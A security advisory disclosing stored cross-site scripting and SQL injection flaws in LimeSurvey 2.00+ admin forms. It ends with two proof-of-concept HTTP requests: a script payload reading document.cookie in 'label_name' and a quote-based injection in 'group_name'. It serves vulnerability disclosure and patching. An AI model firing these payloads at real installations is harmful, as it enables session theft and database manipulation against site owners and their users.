LimeSurvey v2.00+ (build 131107) Script Insertion And SQL Injection Vulnerability
Vendor: LimeSurvey Project Team
Product web page: http://www.limesurvey.org
Affected version: 2.00+ build 131009
2.00+ build 131022
2.00+ build 131031
2.00+ build 131107
Summary: LimeSurvey (formerly PHPSurveyor) is a free and open source
on-line survey application written in PHP based on a MySQL, PostgreSQL
or MSSQL database, distributed under the GNU General Public License. As
a web server-based software it enables users to develop and publish on-line
surveys, and collect responses, without doing any programming.
Desc: LimeSurvey suffers from a stored cross-site scripting and SQL Injection
vulnerability. Input passed to the 'label_name' POST parameter is not properly
sanitised before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an
affected site. Input passed to the 'group_name' POST parameter is not properly
sanitised before being used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.7
MySQL 5.5.25a
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5161
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5161.php
Vendor: http://www.limesurvey.org/en/stable-release
19.11.2013
--
XSS:
----------------------------------------------------------------------------------
POST /limesurvey/index.php/admin/labels/sa/process HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: joxypoxy/1.0
Connection: close
Referer: http://localhost/limesurvey/index.php/admin/labels/sa/newlabelset
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
Cookie: PHPSESSID=dqbs2pqhq9f2ckn24rreja1sl1
label_name=Zero+Science+Lab"<script>alert(document.cookie)</script>&additional_languages=he&action=insertlabelset&languageids=he&available_languages=am
----------------------------------------------------------------------------------
SQLi:
----------------------------------------------------------------------------------
POST /limesurvey/index.php/admin/usergroups/sa/add HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: joxypoxy/1.0
Connection: close
Referer: http://localhost/limesurvey/index.php/admin/usergroups/sa/add
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Cookie: PHPSESSID=dqbs2pqhq9f2ckn24rreja1sl1
group_name=Zero+Science+Lab'&action=usergroupindb
----------------------------------------------------------------------------------